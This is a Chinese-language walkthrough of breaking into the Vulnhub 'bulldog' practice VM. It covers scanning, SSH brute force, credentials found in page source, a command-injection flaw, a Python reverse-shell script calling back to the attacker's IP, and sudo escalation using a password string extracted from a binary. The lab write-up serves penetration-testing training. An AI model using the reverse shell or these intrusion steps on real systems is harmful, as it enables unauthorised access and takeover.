bulldog

实验环境
实验过程
- 信息收集
- - 1.主机发现
  - 2.端口扫描
  - 3.目录扫描
  - 4.web站指纹
  - 5.漏洞发现
- 漏洞利用
- - 提权
- 总结

实验环境

靶机：bulldog
测试机：win10 ，kali

实验过程

信息收集

1.主机发现

靶机ip：192.168.238.146

2.端口扫描

先用masscan进行快速全面的扫描

nmap扫描得到端口服务信息

3.目录扫描

访问80，web服务进行目录扫描

4.web站指纹

以python环境搭建web

5.漏洞发现

1.尝试ssh弱口令：利用msf，hydra等
msf：

设置参数

set pass_file pwd.txt
set rport 23
set rhost 192.168.238.146
set verbose true
run

2.web漏洞
查看目录扫描结果发现：后台登录口: http://192.168.238.131/admin
尝试:sql注入，弱口令,万能密码等尝试登录

webshell界面:http://192.168…238.131/dev

需要身份验证

审查元素发现疑似数据库用户名密码

md5解密

尝试在admin页面，和ssh登录
成功登录admin,但提示不允许仍和编辑操作

回到需身份验证的web界面

发现命令执行漏洞

漏洞利用

结合命令执行写python反弹shell脚本

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.238.131",8080))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

将脚本放在var/www/html下开启apache服务，下载至靶机

kali ：nc -nvlp 8080 监听8080端口

拿到shell

提权

python 开启一个终端：

python -c 'import pty; pty.spawn("/bin/bash")'

常规三连：whoami ,uname -a ,cat etc/issue

在/home/bulldogadmin/.hiddenadmindirectory 目录下读取customPermissionApp文件

strings customPermissionApp

找到类似密码： SUPERultimatePASSWORDyouCANTget

sudo命令拿到权限

总结

主机发现，nmap -sn ，netdiscover等扫描工具；端口扫描，先masscan进行快速大量的扫描，在nmap 指定端口进行版本，服务等信息搜集，whatweb 进行网站指纹，cms扫描，对收集到的服务版本进行进一步手段，ssh爆破(msf,hydra)，登陆口（弱口令,sql注入，万能密码），命令执行漏洞（反弹shell）；得到shell后可用python弹一个终端进行操作；提权：查找关键性文件(apache配置文件，etc/passwd等)，查看当前用户是否在sudo组里（sudo su命令输入当前用户密码）

靶机实战(bulldog)相关推荐

红日安全ATT＆CK靶机实战系列之vulnstack2
typora-root-url: pic\ATT&CK靶机实战系列--vulnstack2 声明好好学习,天天向上环境配置下载地址,直接进去用百度云,没有会员也下的非常快 http:// ...
hdf5 目录没有serial_Serial靶机实战
原创Jarry 四叶草网络安全学院今天研究一下php反序列化,靶机serial实战.目标为获取root权限. 靶机信息可以去vulhub上下载此靶机,下载好,之后,使用Vmware新建虚拟机打开, ...
全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(七)IMF【包含了sql注入,文件上传,gif图片木马制作,缓冲区溢出漏洞sploit等诸多知识点的靶机,超多干货】
靶机地址:https://www.vulnhub.com/entry/imf-1,162/ 靶机难度:中级(CTF) 靶机发布日期:2016年10月30日靶机描述:欢迎使用" IMF&qu ...
靶机测试-bulldog
测试步骤信息收集主机发现端口及其服务扫描目录扫描测试对应端口服务测试后台目录寻找漏洞提权总结遇到的问题信息收集主机发现 kali IP地址查询,确认靶机存在网段使用nmap进 ...
DC-5 vulnhub靶机实战
首先是使用virtualbox安装,这里不推荐vmware,会出很多问题. nmap扫一下子网,看靶机的ip地址: 发现ip是192.168.240.137,开放了80和111端口. 给了提示是个文件 ...
Vulnhub靶机实战——DC-8
靶机DC-8下载地址: https://download.vulnhub.com/dc/DC-8.zip 环境:VMware 15虚拟机软件 DC-8靶机IP地址:192.168.220.156 Ka ...
Vulnhub-CTF6靶机实战
前言靶机下载地址:下载地址 KALI地址:192.168.10.73 靶机地址:192.168.10.40 一.信息收集 1.主机发现使用命令如下,来进行主机发现 netdiscover -r 1 ...
Vulnhub靶机实战——DC-5
靶机DC-5下载地址:https://download.vulnhub.com/dc/DC-5.zip 环境:VMware 15虚拟机软件 DC-5靶机IP地址:192.168.220.139 Kal ...
Vulnhub-potato靶机实战
文章目录学习笔记下载靶机下载第一部分信息收集第一步主机发现第二步端口扫描第三步访问网站第四步扫描目录第四步访问扫描出的目录第五步回到开放的端口,分析,发现7120开放 ...

靶机实战(bulldog)